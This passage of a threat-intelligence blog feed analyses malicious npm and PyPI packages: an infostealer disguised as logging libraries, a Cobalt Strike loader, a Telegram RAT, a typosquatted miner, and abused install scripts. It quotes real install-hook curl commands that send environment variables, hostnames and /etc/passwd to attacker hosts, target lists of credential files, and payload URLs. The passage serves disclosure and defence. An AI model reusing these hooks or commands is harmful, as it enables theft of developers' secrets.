<figure class="wp-block-image"><img width="1024" height="841" src="https://ptesc.tech/wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36-1024x841.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36-1024x841.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36-300x246.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36-768x631.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36-1536x1261.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/05/photo_560@12-05-2026_14-29-36.jpg 1566w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="841" src="https://ptesc.tech/wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36-1024x841.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36-1024x841.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36-300x246.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36-768x631.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36-1536x1261.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/05/photo_561@12-05-2026_14-29-36.jpg 1566w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#npm</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>A logging library and an infostealer to boot? No thanks</title>
		<link>https://ptesc.tech/en/a-logger-library-with-an-infostealer-thrown-in-no-thanks/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 07 Apr 2026 16:41:24 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b1%d0%b8%d0%b1%d0%bb%d0%b8%d0%be%d1%82%d0%b5%d0%ba%d0%b0-%d0%bb%d0%be%d0%b3%d0%b3%d0%b5%d1%80-%d0%b8-%d0%b8%d0%bd%d1%84%d0%be%d1%81%d1%82%d0%b8%d0%bb%d0%b5%d1%80-%d0%b2-%d0%bf%d1%80%d0%b8%d0%b4/</guid>

					<description><![CDATA[A logging library and an infostealer to boot? No thanks 👋 A lot has happened recently. For example, someone decided to play patron of the arts and published 30 releases with the names of NPM logging libraries: • @logcore/pino-pretty-logger…]]></description>
										<content:encoded><![CDATA[<strong>A logging library and an infostealer to boot? No thanks</strong> 👋<br />
<br />
A lot has happened recently. For example, someone decided to play patron of the arts and published 30 releases with the names of NPM logging libraries:<br />
<br />
• <code>@logcore/pino-pretty-logger</code><br />
• <code>console-loggers
</code>• <code>jellyfi-pino-pretty-logger</code><br />
• j<code>onas-prettier-logger</code><br />
• <code>logger-beauty</code><br />
• <code>pino-logger-utils</code><br />
• <code>pino-pretty-log</code><br />
• <code>pino-pretty-logger</code><br />
• <code>pretty-pino-logger</code><br />
• <code>pretty-ts-logger</code><br />
• <code>ts-moduler</code><br />
• <code>wrapped-logger-utils</code><br />
<br />
This isn&#8217;t just a spam campaign: these libraries carry an infostealer and a backdoor.<br />
<br />
This time we even managed to lose to someone in the race for the title of &#8220;fastest hand in the wild open source&#8221; — we were the first to report only 5 out of 12 packages 🥺<br />
<br />
The campaign uses obfuscation. Initially the attacker protected only variable names, but then started XOR-ing strings (<em>screenshots 1, 2</em>).<br />
<br />
<strong>The malicious logic activates during library import:</strong><br />
<br />
1️⃣Determining the victim&#8217;s OS and collecting basic system information (network device IP address, username).<br />
<br />
2️⃣Parallel execution of two tasks:<br />
<br />
🔗Quick theft: sending the <code>.env</code> file to the attacker&#8217;s server if it exists in the current working directory.<br />
<br />
🔗Traversing the home directory in search of files with <code>.env</code> / <code>.json</code> extensions. There&#8217;s a small optimization in the code — the following folders will be skipped during traversal:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">'node_modules', 'Library', 'System', 'Windows', 'Program Files', 'ProgramData',
'build', 'dist', 'out', 'output', 'release', 'bin', 'obj', 'Debug', 'Release',
'target', 'target2', 'public', 'private', 'tmp', 'temp', 'var', 'cache', 'log',
'logs', 'sample', 'samples',
'assets', 'media', 'fonts', 'icons', 'images', 'img', 'static', 'resources', 'audio', 'videos', 'video', 'music',
'svn', 'cvs', 'hg', 'mercurial', 'registry',
'__MACOSX', 'vscode', 'eslint', 'prettier', 'yarn', 'pnpm', 'next',
'pkg', 'move', 'rustup', 'toolchains',
'migrations', 'snapshots', 'ssh', 'socket.io', 'svelte-kit', 'vite',
'coverage', 'history', 'terraform'</code></span></pre><br />
<br />
Linux users are especially out of luck: a new public SSH key will be dropped into their <code>~/.ssh/authorized_keys</code>. With the sshd service running and ssh-key authentication allowed for the current user, this will let the attacker connect to the device 😍<br />
<br />
On Windows, in addition to traversing the home directory, the stealer will go through all connected drives.<br />
<br />
3️⃣Sending all collected data to the attacker&#8217;s server.<br />
<br />
———<br />
<br />
In versions of the package that use more advanced obfuscation, the attacker specifies exactly which files they need:<br />
<br />
<pre class="wp-block-code"><span><code lang="javascript" class="hljs language-javascript language-javascript"><span class="hljs-keyword">const</span> ENV_LIKE_FILES = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(&#91;
    <span class="hljs-string">'.env'</span>, <span class="hljs-string">'.env.local'</span>, <span class="hljs-string">'.env.production'</span>, <span class="hljs-string">'.env.development'</span>,
    <span class="hljs-string">'.config'</span>, <span class="hljs-string">'.npmrc'</span>, <span class="hljs-string">'.pypirc'</span>, <span class="hljs-string">'.git-credentials'</span>, <span class="hljs-string">'wallet.dat'</span>, <span class="hljs-string">'id.json'</span>, <span class="hljs-string">'key.json'</span>, <span class="hljs-string">'keystore/*.json'</span>,
]);
<span class="hljs-keyword">const</span> JSON_LIKE_FILES = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(&#91;<span class="hljs-string">'config.json'</span>, <span class="hljs-string">'settings.json'</span>, <span class="hljs-string">'secrets.json'</span>]);</code></span></pre><br />
<br />
This is probably due to the large amount of junk when collecting all json files.<br />
<br />
Theft of the <code>tdata</code> directory, which contains Telegram session data, has also been added 🤢<br />
<br />
———<br />
<br />
The usual reminder: don&#8217;t let your guard down when working with open-source projects 😑<br />
<br />
<span class="hashtag">#npm</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)

<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1536x1536.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-2048x2048.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Unusual obfuscation is always beautiful...</title>
		<link>https://ptesc.tech/en/unusual-obfuscation-is-always-beautiful/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Wed, 11 Mar 2026 13:02:42 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bd%d0%b5%d0%be%d0%b1%d1%8b%d1%87%d0%bd%d0%b0%d1%8f-%d0%be%d0%b1%d1%84%d1%83%d1%81%d0%ba%d0%b0%d1%86%d0%b8%d1%8f-%d1%8d%d1%82%d0%be-%d0%b2%d1%81%d0%b5%d0%b3%d0%b4%d0%b0-%d0%ba%d1%80%d0%b0/</guid>

					<description><![CDATA[Unusual obfuscation is always beautiful... 🥰 ... it's just a shame that you have to see it in trojanized open-source packages, and not only at Capture The Flag (CTF) information security competitions. One of the attacker's tasks is to make…]]></description>
										<content:encoded><![CDATA[<p><strong>Unusual obfuscation is always beautiful&#8230; </strong><strong>🥰</strong></p>
<p>&#8230; it&#8217;s just a shame that you have to see it in trojanized open-source packages, and not only at Capture The Flag (CTF) information security competitions.</p>
<p>One of the attacker&#8217;s tasks is to make a malicious package that looks legitimate. This allows them to evade detection longer.</p>
<p>We noticed an interesting PyPI campaign that includes the library <code>requests-ml-min</code> authored by <code>scott.fitzgerald</code>. It contains only six Python files:</p>
<p>1️⃣ <code>setup.py</code>. There is execution of <code>ModelInstall</code> at install time, but that&#8217;s not a crime: there are many projects that install something extra or compile at this stage.</p>
<p>2️⃣ <code>tests/test_pnotify.py</code>. Nothing unusual.</p>
<p>3️⃣ <code>tests/test_utils.py</code>. Nothing unusual.</p>
<p>4️⃣ r<code>esource/resource.py</code> (<em>screenshot 1</em>). Contains an array of 145 UUID identifiers and a concatenation function&#8230; 🤪 Original, attempt counted 🙂</p>
<p>5️⃣ <code>src/audit/perf.py</code> (<em>screenshot 2</em>). Collecting system information, packing it into base64, sending it. 👍 Ten detections out of ten for stealer-style system information collection.</p>
<p>6️⃣ s<code>rc/utils/utils.py</code> (<em>screenshot 3</em>). Implements helper functions. Strings are obfuscated via arrays of ASCII codes&#8230; 🏃‍♀️ Are we solving a reverse CTF task for 100?</p>
<p><strong>About the file </strong><code>resource/resource.py</code></p>
<p>Behind the obfuscation hides a beautiful downloader + process injector. Beautiful because the downloaded file, which is shellcode, is located at the following URI:</p>
<p><code>https://storage.googleapis.com/py-pi/python_win</code></p>
<p>The shellcode will be injected into a separately launched process <code>werfault.exe</code>. The payload is a Cobalt Strike loader.</p>
<p><strong>Actions of the PyPI package during installation:</strong></p>
<p>🤔 Will collect system information (<em>screenshot 2)</em>.</p>
<p>🤔 Will send it to <code>https://us-central1-bucket-438814.cloudfunctions.net/ping/api/v1/ping</code><br />
 (by the way, another beautiful URI).</p>
<p>🤔 Will make sure the victim is on the whitelist. To do this, it will get the victim&#8217;s domain, hash it with the SHA-256 algorithm, and make sure the hash matches one of seven expected ones. This is a good anti-analysis method, since it complicates the work of researchers 🙂</p>
<p>🤔 If the victim is on the whitelist, it will launch the Cobalt Strike payload.</p>
<p>It&#8217;s curious that the code allows preparing a payload for Windows, Linux, and macOS, but the author added only the Windows variant.</p>
<p><strong>We managed to recover the source text for four of the seven hashes:</strong><br />
🌟<code>desktop</code><br />
🌟<code>abd.local</code><br />
🌟<code>exttest.local</code><br />
🌟<code>extprod.local</code></p>
<p>You can leave your guesses about the nature of these domains in the comments 🤨</p>
<p>Given the list of targets the library limits itself to, this could be a pentest or a bug bounty. At least, let&#8217;s hope so — a library this beautiful is not something you come across very often.</p>
<p><span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)</p>
<figure class="wp-block-image"><img width="1024" height="892" src="https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-300x261.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-768x669.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="945" src="https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-300x277.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-768x709.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>pip install teligram</title>
		<link>https://ptesc.tech/en/pip-install-teligram/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 10 Feb 2026 14:36:18 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/pip-install-teligram/</guid>

					<description><![CDATA[pip install teligram 🧐 (better not run it) On February 8, the teligram library was published. Its description reads: Telegram-based friendly library. Alas, as usual in our posts, there are no miracles — the library is a custom Remote Access…]]></description>
										<content:encoded><![CDATA[<p><strong>pip install teligram</strong> 🧐 <span class="spoiler">(better not run it)</span></p>
<p>On February 8, the <code>teligram</code> library was published.</p>
<p>Its description reads: <code>Telegram-based friendly library</code>.</p>
<p>Alas, as usual in our posts, there are no miracles — the library is a custom Remote Access Tool (RAT).</p>
<p><strong>Its features:</strong></p>
<p>• Traces of LLM usage are present.</p>
<p>• Contains one large function <code>khelo</code>, which implements 16 sub-functions.</p>
<p>• Traces of the Indian language are present (<code>khelo</code> translates to &#8220;play&#8221;; the chosen developer name <code>Om Devendra</code> is Indian).</p>
<p>• The code is not obfuscated, and the bot&#8217;s greeting sent when using the <code>/help</code> and <code>/start</code> commands by an administrator reflects the capabilities:</p>
<pre><code>Available commands:
pwd - Show current directory
ls or ls -la - List files
cd &lt;directory&gt; - Change directory
whoami - Show current user
date - Show date and time

TAKE COMMANDS:
1. take &lt;number&gt; - Get the nth file
   Example: take 1

2. take &lt;file_name&gt; - Get file by name
   Example: take myfile.txt

3. take .&lt;extension&gt; - Get all files with extension
   Example: take .jpg or take .py

4. take all - Get ALL non-empty files

5. /send - Upload files to current directory

Special features:
- Working directory saved between commands
- Empty files automatically skipped</code></pre>
<p>Version 1.0.0 does not have post-install launch functionality. The other versions did not have time to be released — the package was sent to quarantine, although it existed for 19 hours.</p>
<p>💬 By the way, you can now read ESCalator <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">on MAX as well</a><a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">.</a> And this is not a scam.</p>
<p><span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>The city celebrates, the mafia wakes up</title>
		<link>https://ptesc.tech/en/the-city-celebrates-the-mafia-awakens/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 19 Jan 2026 15:05:12 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b3%d0%be%d1%80%d0%be%d0%b4-%d0%bf%d1%80%d0%b0%d0%b7%d0%b4%d0%bd%d1%83%d0%b5%d1%82-%d0%bf%d1%80%d0%be%d1%81%d1%8b%d0%bf%d0%b0%d0%b5%d1%82%d1%81%d1%8f-%d0%bc%d0%b0%d1%84%d0%b8%d1%8f/</guid>

					<description><![CDATA[The city celebrates, the mafia wakes up 🥰 Between January 1 and 11, approximately 180 malicious packages were removed from the NPM ecosystem, and 16 from PyPI. Attackers on PyPI are lazy. We'll tell you about a little New Year's magic withi…]]></description>
										<content:encoded><![CDATA[<strong>The city celebrates, the mafia wakes up </strong><strong>🥰</strong><br />
<br />
Between January 1 and 11, approximately 180 malicious packages were removed from the NPM ecosystem, and 16 from PyPI. <s>Attackers on PyPI are lazy</s>. We&#8217;ll tell you about a little New Year&#8217;s magic within a single PyPI package.<br />
<br />
On January 4, user <code>ambertransit</code> published a project called <code>aiihttp</code>, whose name mimics the http client <code>aiohttp</code>.<br />
<br />
The code begins with simple obfuscation:<br />
<br />
<pre class="wp-block-code"><span><code lang="python" class="hljs language-python language-python"><span class="hljs-keyword">import</span> base64

exec(base64.b64decode(<span class="hljs-string">'aW1wb3J0IGl...'</span>)</code></span></pre><br />
<br />
The logic hidden behind base64 is shown in the first screenshot. Key points:<br />
<br />
<strong>•</strong> The package gentlemanly helps the developer who made a typo: it deletes itself, installs <code>aiohttp</code> [item 1 in screenshot 1], then reloads the module if it was already imported [2].<br />
<br />
<strong>•</strong> The next stage is hosted on GitHub [3]. However, it&#8217;s not that simple — it&#8217;s encrypted with a 32-character XOR [4]. The key uses the alphabet <code>[a-f0-9]{32}</code>, which resembles MD5 in format, but we found no additional meaning behind it.<br />
<br />
<strong>•</strong> Persistence in the system is achieved via the registry [5]. The stage will execute the next time the user logs into the system.<br />
<br />
The GitHub account is active and has been uploading malware since May 2024. Using XOR, even with a 32-byte key, without a cipher block chaining mode makes executables not so well protected 😁 (the second screenshot shows the blob downloaded by the malicious code). The same picture is observed toward the end of the file, which is also rich in null bytes.<br />
<br />
The executable is a miner for the Monero cryptocurrency. As a result of the campaign, the attacker managed to mine 15.7 <span class="spoiler">(not million)</span> rubles 🤑<br />
<br />
Be careful in open source — it&#8217;s fertile ground for attackers&#8217; activities 😼

<figure class="wp-block-image"><img width="1024" height="862" src="https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-300x252.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-768x646.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Node JS. Malicious activity at the installation stage</title>
		<link>https://ptesc.tech/en/node-js-malicious-activity-at-the-installation-stage/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 29 Jul 2025 17:58:09 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/node-js-%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd%d0%b0%d1%8f-%d0%b0%d0%ba%d1%82%d0%b8%d0%b2%d0%bd%d0%be%d1%81%d1%82%d1%8c-%d0%bd%d0%b0-%d1%81%d1%82%d0%b0%d0%b4%d0%b8%d0%b8-%d1%83%d1%81/</guid>

					<description><![CDATA[Node JS. Malicious activity at the installation stage As part of researching the actions of attackers in npm (Node Package Manager, the main repository of JS code), we decided to take a peek into this area. JavaScript packages have a mechan…]]></description>
										<content:encoded><![CDATA[<strong>Node JS. Malicious activity at the installation stage</strong><br />
<br />
As part of researching the actions of attackers in npm (Node Package Manager, the main repository of JS code), we decided to take a peek into this area.<br />
<br />
JavaScript packages have a mechanism for running scripts at the installation stage. It is described in the <code>package.json</code> configuration file in the <code>scripts</code> section:<br />
<br />
<pre class="wp-block-code"><span><code lang="json" class="hljs language-json language-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"&lt;from-ptescalator-with-love&gt;"</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0.0"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"Example config of package.json for demonstration-purposes"</span>,
  <span class="hljs-attr">"main"</span>: <span class="hljs-string">"hello.js"</span>,
  <span class="hljs-attr">"scripts"</span>: {
    <span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"echo \"I will be run at pre-install stage\""</span>,
    <span class="hljs-attr">"install"</span>: <span class="hljs-string">"echo \"I will be run at install stage\""</span>,
    <span class="hljs-attr">"postinstall"</span>: <span class="hljs-string">"echo \"I will be run at post-install stage\""</span>
  }
}
</code></span></pre><br />
<br />
The values are commands for the system interpreter, whether it be sh, bash, fish, or even Windows cmd — whichever is set by default will be used 😎<br />
<br />
Attackers take two paths when exploiting the ability to run their payload during installation:<br />
<br />
🫥 Run js code<br />
<br />
<code>atlas-websocket@33.9.9</code>, postinstall:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">node index.js
</code></span></pre><br />
<br />
<code>wokes@1.0.0</code>, postinstall:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">node cli/setup-security.js
</code></span></pre><br />
<br />
🫥 Execute a command via the system interpreter:<br />
<br />
<code>autogestion-aprendizaje@1.0.4</code>, preinstall, passing <code>hostname</code>:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"No tests"</span> &amp;&amp; curl <span class="hljs-string">"http://&#91;REDACTED].net/?NPM=<span class="hljs-variable">$(hostname)</span>&amp;&lt;template&gt;"</span>
</code></span></pre><br />
<br />
<code>bsee-shared-hmd@1.0.6</code>, preinstall, stealing <code>/etc/passwd</code> and obtaining <code>hostname</code>:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">sh -c 'curl -X POST -d "user=$(whoami)&amp;host=$(hostname)&amp;passwd=$(cat /etc/passwd | base64)" https://webhook-test.com/&#91;REDACTED]'
</code></span></pre><br />
<code>
storyblok-rich-text-astro-renderer-workspace@99.99.99</code>, postinstall, stealing environment variables:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash">curl -X POST https://&#91;REDACTED].oastify.com --data <span class="hljs-string">"<span class="hljs-variable">$(env)</span>"</span>
</code></span></pre><br />
<code>
arkoselabs@99.9.13</code>, preinstall, stealing environment variables, <code>/etc/passwd</code>, <code>hostname</code>, and username:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash">curl --data-urlencode <span class="hljs-string">"info=<span class="hljs-variable">$(hostname &amp;&amp; whoami &amp;&amp; cat /proc/self/environ &amp;&amp; cat /etc/passwd)</span>"</span> http://&#91;REDACTED].oast.me<span class="hljs-string">"
</span></code></span></pre><br />
<br />
<s>If this post gets 1000 hearts</s>🥰 Next time we will talk about the variety of payload scripts at the installation stage of JS packages.<br />
<br />
<span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
